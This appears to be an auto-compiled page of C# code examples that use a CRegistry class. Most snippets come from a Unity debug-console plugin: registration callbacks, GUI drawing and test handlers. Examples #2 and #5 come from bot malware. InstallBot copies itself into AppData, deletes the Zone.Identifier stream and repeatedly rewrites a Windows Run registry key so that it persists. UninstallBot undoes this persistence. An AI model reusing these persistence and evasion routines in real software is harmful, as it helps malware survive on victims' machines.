Example #1
0
        public void SetUp()
        {
            RunSetUp();

            m_registry = new CRegistry();
            m_registry.registryDelegate = this;
        }
Example #2
0
        public static Boolean InstallBot()
        {
            try
            {
                String strDropPath = CUtils.GetAppData();

                if (String.IsNullOrEmpty(strDropPath))
                {
                    return(false);
                }

                String strMainPath = CUtils.GetMainPath();

                if (String.IsNullOrEmpty(strMainPath))
                {
                    return(false);
                }

                strDropPath += strFileName;

                if (strDropPath == strMainPath)
                {
                    new Thread(delegate()
                    {
                        while (bRegistryPersistance)
                        {
                            CRegistry.SetRegValue(CUtils.IsElevated() ? Registry.LocalMachine : Registry.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", strRegistryName, strDropPath);

                            DateTime dtNextAdd = DateTime.Now.AddSeconds(15);

                            while (dtNextAdd > DateTime.Now && bRegistryPersistance)
                            {
                                Thread.Sleep(10);
                            }
                        }
                    }).Start();
                    return(true);
                }

                File.Copy(strMainPath, strDropPath, true);

                CKernel32.DeleteFile(
                    string.Format(
                        "{0}:Zone.Identifier",
                        strDropPath)
                    );

                if (CRegistry.SetRegValue(CUtils.IsElevated() ? Registry.LocalMachine : Registry.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", strRegistryName, strDropPath))
                {
                    Process.Start(strDropPath);
                }
            }
            catch { }

            Application.Exit();

            return(false);
        }
Example #3
0
 public void OnActionUnregistered(CRegistry registry, CAction action)
 {
     try
     {
         m_args1[0] = jval(action.Id);
         CallStaticVoidMethod(m_methodUnregisterAction, m_args1);
     }
     catch (Exception e)
     {
         Debug.LogError("Exception while calling 'LunarConsole.OnActionUnregistered': " + e.Message);
     }
 }
Example #4
0
 public void OnActionRegistered(CRegistry registry, CAction action)
 {
     try
     {
         m_args2[0] = jval(action.Id);
         m_args2[1] = jval(action.Name);
         CallStaticVoidMethod(m_methodRegisterAction, m_args2);
         AndroidJNI.DeleteLocalRef(m_args2[1].l);
     }
     catch (Exception e)
     {
         Debug.LogError("Exception while calling 'LunarConsole.OnActionRegistered': " + e.Message);
     }
 }
Example #5
0
        public static bool UninstallBot()
        {
#if !DEBUG
            if (!CRegistry.DeleteRegValue(CUtils.IsElevated() ? Registry.LocalMachine : Registry.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", strRegistryName))
            {
                return(false);
            }
#endif
            if (!CProcessProtection.ProtectProcess(false))
            {
                return(false);
            }

            bRegistryPersistance = false;
            return(true);
        }
        void OnRegistryGUI(CRegistry registry)
        {
            GUILayout.BeginVertical();
            {
                GUILayout.BeginHorizontal();
                {
                    var oldFilterText = m_filterText;
                    m_filterText = GUILayout.TextField(m_filterText, filterTextStyle);
                    if (GUILayout.Button(GUIContent.none, filterButtonStyle))
                    {
                        m_filterText = "";
                    }
                    if (oldFilterText != m_filterText)
                    {
                        EditorPrefs.SetString(PrefsKeyFilterText, m_filterText);
                    }
                }
                GUILayout.EndHorizontal();

                m_scrollPosition = GUILayout.BeginScrollView(m_scrollPosition);
                {
                    var filterText = m_filterText.ToLower();

                    GUILayout.Label("Actions", headerLabelStyle);
                    foreach (var action in registry.actions)
                    {
                        if (m_filterText.Length == 0 || action.Name.ToLower().Contains(filterText))
                        {
                            OnActionGUI(action);
                        }
                    }

                    GUILayout.Label("Variables", headerLabelStyle);
                    foreach (var cvar in registry.cvars)
                    {
                        if (m_filterText.Length == 0 || cvar.Name.ToLower().Contains(filterText))
                        {
                            OnVariableGUI(cvar);
                        }
                    }
                }
                GUILayout.EndScrollView();
            }
            GUILayout.EndVertical();
        }
Example #7
0
 public void OnVariableRegistered(CRegistry registry, CVar cvar)
 {
     try
     {
         m_args5[0] = jval(cvar.Id);
         m_args5[1] = jval(cvar.Name);
         m_args5[2] = jval(cvar.Type.ToString());
         m_args5[3] = jval(cvar.Value);
         m_args5[4] = jval(cvar.DefaultValue);
         CallStaticVoidMethod(m_methodRegisterVariable, m_args5);
         AndroidJNI.DeleteLocalRef(m_args5[1].l);
         AndroidJNI.DeleteLocalRef(m_args5[2].l);
         AndroidJNI.DeleteLocalRef(m_args5[3].l);
         AndroidJNI.DeleteLocalRef(m_args5[4].l);
     }
     catch (Exception e)
     {
         Debug.LogError("Exception while calling 'LunarConsole.OnVariableRegistered': " + e.Message);
     }
 }
Example #8
0
 public void OnVariableRegistered(CRegistry registry, CVar cvar)
 {
 }
Example #9
0
 public void OnActionsCleared(CRegistry registry)
 {
     AddResult("cleared");
 }
Example #10
0
 public void OnActionUnregistered(CRegistry registry, CAction action)
 {
     AddResult("removed: " + action.Name);
 }
Example #11
0
 public void OnActionChanged(CRegistry registry, CAction action)
 {
     AddResult("changed: " + action.Name);
 }
Example #12
0
 public void OnActionRegistered(CRegistry registry, CAction action)
 {
     AddResult("added: " + action.Name);
 }
Example #13
0
 public void OnVariableRegistered(CRegistry registry, CVar cvar)
 {
     __lunar_console_cvar_register(cvar.Id, cvar.Name, cvar.Type.ToString(), cvar.Value, cvar.DefaultValue);
 }
Example #14
0
 public void OnActionUnregistered(CRegistry registry, CAction action)
 {
     __lunar_console_action_unregister(action.Id);
 }
Example #15
0
 public void OnActionRegistered(CRegistry registry, CAction action)
 {
     __lunar_console_action_register(action.Id, action.Name);
 }
Example #16
0
 public void OnVariableUpdated(CRegistry registry, CVar cvar)
 {
 }